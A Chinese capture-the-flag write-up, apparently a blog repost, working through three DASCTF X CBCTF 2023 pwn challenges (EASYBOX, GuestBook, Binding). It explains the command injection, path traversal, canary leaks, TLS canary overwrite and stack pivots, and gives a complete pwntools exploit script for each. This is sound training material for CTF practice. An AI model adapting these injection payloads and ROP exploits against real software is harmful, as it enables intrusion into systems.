当前位置:   article > 正文

DASCTF X CBCTF 2023|无畏者先行_dasctf x cbctf 2023|无畏者先行 web

dasctf x cbctf 2023|无畏者先行 web

前言

笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。

EASYBOX

考点:命令执行?+ 栈溢出

附件给了 docker 环境,可以直接在本地复现,但是 docker 我不会调试,幸好这题也不用调试。

程序没开 PIE,有 system,sh 字符串。然后在一开始的时候把 canary 写进了/secret/canary.txt 文件中。

漏洞分析

漏洞1:

在 pingCommand 函数中对输入的字符检查不够严格,导致存在命令注入:例如我们可以通过 0;echo "data" 向 /tmp/result.txt 文件中写入内容。

这个环境好像没有 tac/less/more 等命令,然后 cat 被过滤了,所以这里似乎没办法直接读文件内容。还需要注意的是 sprintf 会被 \x00 截断,但是这个无关紧要的,可以 base 一下去除 \x00。

 漏洞2:

这里首先存在目录穿越,也是对输入的文件名检查不严格导致。然后后面那个溢出漏洞很明显,其实大家写过程序都知道,对于文件的读取,一般都是根据文件大小去 malloc 一个对应的空间。而这里如果文件大小大于 72 则导致栈溢出

 漏洞利用

1、先利用 CAT 功能配合目录穿越读取 canary

2、再利用 PING 功能往 result.txt 文件中写入 rop 链

3、最后利用 CAT 功能读取 result.txt 造成栈溢出

exp 如下:

  1. from pwn import *
  2. import base64
  3. context.terminal = ['tmux', 'splitw', '-h']
  4. context(arch = 'amd64', os = 'linux')
  5. #context(arch = 'i386', os = 'linux')
  6. #context.log_level = 'debug'
  7. #io = process("./pwn")
  8. io = remote("127.0.0.1", 9999)
  9. elf = ELF("./pwn")
  10. libc = elf.libc
  11. def debug():
  12. gdb.attach(io)
  13. pause()
  14. sd = lambda s : io.send(s)
  15. sda = lambda s, n : io.sendafter(s, n)
  16. sl = lambda s : io.sendline(s)
  17. sla = lambda s, n : io.sendlineafter(s, n)
  18. rc = lambda n : io.recv(n)
  19. rl = lambda : io.recvline()
  20. rut = lambda s : io.recvuntil(s, drop=True)
  21. ruf = lambda s : io.recvuntil(s, drop=False)
  22. addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
  23. addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
  24. addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
  25. addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
  26. byte = lambda n : str(n).encode()
  27. info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
  28. sh = lambda : io.interactive()
  29. menu = b''
  30. pop_rdi = 0x0000000000401ce3 # pop rdi ; ret
  31. sh_addr = 0x0000000000402090
  32. system = 0x00000000004018B2
  33. sla(b'name: ', b'XiaozaYa')
  34. sla(b'$ ', b'CAT')
  35. sla(b'view: ', b'../../secret/canary.txt')
  36. canary = int(rl(), 16)
  37. info("canary", canary)
  38. rop = b'A'*72 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(sh_addr) + p64(system)
  39. rop = base64.b64encode(rop)
  40. pay = b'0;echo "' + rop + b'" | base64 -d'
  41. print(hex(len(pay)), ":", pay)
  42. sla(b'$ ', b'PING')
  43. sla(b'address: ', pay)
  44. sla(b'$ ', b'CAT')
  45. sla(b'view: ', b'result.txt')
  46. #debug()
  47. sh()

效果如下:

GuestBook

考点:栈溢出

没开 PIE,有后门,有栈溢出,其实没啥好说的了

read 那里溢出到了 canary,所以可以直接修改 canary 最后一个字节然后泄漏出 canary。后面一个白给的栈溢出,strcpy 存在 \x00 截断,所以 canary 分两次写即可。然后就直接跳到后门即可。

exp如下:

  1. from pwn import *
  2. context.terminal = ['tmux', 'splitw', '-h']
  3. context(arch = 'amd64', os = 'linux')
  4. #context(arch = 'i386', os = 'linux')
  5. #context.log_level = 'debug'
  6. io = process("./pwn")
  7. elf = ELF("./pwn")
  8. libc = elf.libc
  9. def debug():
  10. gdb.attach(io)
  11. pause()
  12. sd = lambda s : io.send(s)
  13. sda = lambda s, n : io.sendafter(s, n)
  14. sl = lambda s : io.sendline(s)
  15. sla = lambda s, n : io.sendlineafter(s, n)
  16. rc = lambda n : io.recv(n)
  17. rl = lambda : io.recvline()
  18. rut = lambda s : io.recvuntil(s, drop=True)
  19. ruf = lambda s : io.recvuntil(s, drop=False)
  20. addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
  21. addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
  22. addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
  23. addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
  24. byte = lambda n : str(n).encode()
  25. info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
  26. sh = lambda : io.interactive()
  27. menu = b''
  28. sda(b'name: ', b'A'*23 + b'X' + b'Y')
  29. rut(b'X')
  30. canary = addr8(8) - ord('Y')
  31. rbp = addr8(6)
  32. info("canary", canary)
  33. info("rbp", rbp)
  34. sla(b'): ', b'2')
  35. pay = b'A'*(0xA0 - 8) + p64(canary + ord('A')) + b'AAAAAAAA' + b'\xc3\x12\x40'
  36. sl(pay)
  37. sleep(0.01)
  38. pay = b'A'*(0xA0 - 8 - 0x20)
  39. sl(pay)
  40. #debug()
  41. sh()

效果如下:

Binding

考点:栈溢出,这题套一个堆的壳子,其实就是一个栈迁移打 orw 的题目

题目实现了一个菜单堆,这里就只说下漏洞点:

漏洞1:

漏洞主要在 edit 函数中,首先就是一个贴脸的栈溢出,但是只溢出 0x10 字节,所以想利用的话基本就是栈迁移。

然后还有一个致命的漏洞,感觉非常莫名其妙,add 会申请两个堆块,其结构是这样的:

也就是说 edit 每次先修改的 0x100 上面的指针,然后在根据指针去写,那这不就是白给的 8 字节任意地址写吗?但是注意这里有个 *ptr = (unsigned __int8*)*ptr,这导致后面其实只能写一字节。

漏洞2:

没有将指针置空,可以利用 UAF 去泄漏 libc_base/heap_base。由于这里使用的是 calloc 所以 double free 不好直接打,因为题目限制了堆块的大小在 [0x100, 0x200] 之间,所以不会落在 fastbin 中。 

利用思路:

1、 UAF 泄漏 libc_base/heap_base

2、任意写修改 tcbhead_t 结构体中的 stack_guard 从而绕过 canary 保护

3、栈迁移到堆上打 orw

exp 如下:

  1. from pwn import *
  2. context.terminal = ['tmux', 'splitw', '-h']
  3. context(arch = 'amd64', os = 'linux')
  4. #context(arch = 'i386', os = 'linux')
  5. #context.log_level = 'debug'
  6. io = process("./pwn")
  7. elf = ELF("./pwn")
  8. libc = elf.libc
  9. def debug():
  10. gdb.attach(io)
  11. pause()
  12. sd = lambda s : io.send(s)
  13. sda = lambda s, n : io.sendafter(s, n)
  14. sl = lambda s : io.sendline(s)
  15. sla = lambda s, n : io.sendlineafter(s, n)
  16. rc = lambda n : io.recv(n)
  17. rl = lambda : io.recvline()
  18. rut = lambda s : io.recvuntil(s, drop=True)
  19. ruf = lambda s : io.recvuntil(s, drop=False)
  20. addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
  21. addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
  22. addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
  23. addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
  24. byte = lambda n : str(n).encode()
  25. info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
  26. sh = lambda : io.interactive()
  27. menu = b'Your choice:'
  28. def add(idx, size, data, flag=True):
  29. sla(menu, b'1')
  30. sla(b'Idx:', byte(idx))
  31. sla(b'Size:', byte(size))
  32. if flag:
  33. sda(b'Content:', data)
  34. else:
  35. sla(b'Content:', data)
  36. def edit(idx, data0, data1, flag=True):
  37. sla(menu, b'2')
  38. if flag:
  39. sda(b'Idx:', byte(idx))
  40. else:
  41. sda(b'Idx:', idx)
  42. sda(b'context1: ', data0)
  43. sda(b'context2: ', data1)
  44. def show(idx, cmd=0):
  45. sla(menu, b'3')
  46. sla(b'Your choice:', byte(cmd))
  47. sla(b'Idx:', byte(idx))
  48. def dele(idx):
  49. sla(menu, b'4')
  50. sla(b'Idx:', byte(idx))
  51. for i in range(6):
  52. add(i, 256, b'A\n')
  53. for i in range(1, 5):
  54. dele(i)
  55. show(2, 0)
  56. rut(b': ')
  57. heap_base = addr8(6) - 0x5d0
  58. info("heap_base", heap_base)
  59. show(4, 1)
  60. rut(b': ')
  61. libc_base = addr8(6) - 0x1ecbe0
  62. libc.address = libc_base
  63. TLS_canary = libc_base + 0x1f3568
  64. info("libc_base", libc_base)
  65. info("TLS_canary", TLS_canary)
  66. pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
  67. pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
  68. pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
  69. leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
  70. orw = p64(pop_rdi) + p64(heap_base+0xcd8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(libc.sym.open)
  71. orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
  72. orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
  73. orw += b'./flag\x00\x00'
  74. info("orw len", len(orw))
  75. add(7, 256, orw)
  76. pay = b'0'.ljust(0x28, b'\x00') + b'A\x00\x00\x00\x00\x00\x00\x00' + p64(heap_base+0xc28) + p64(leave_ret)
  77. edit(pay, p64(TLS_canary), b'AAAAAAAA', False)
  78. #debug()
  79. sh()

效果如下:

声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:【wpsshop博客】
推荐阅读
  

闽ICP备14008679号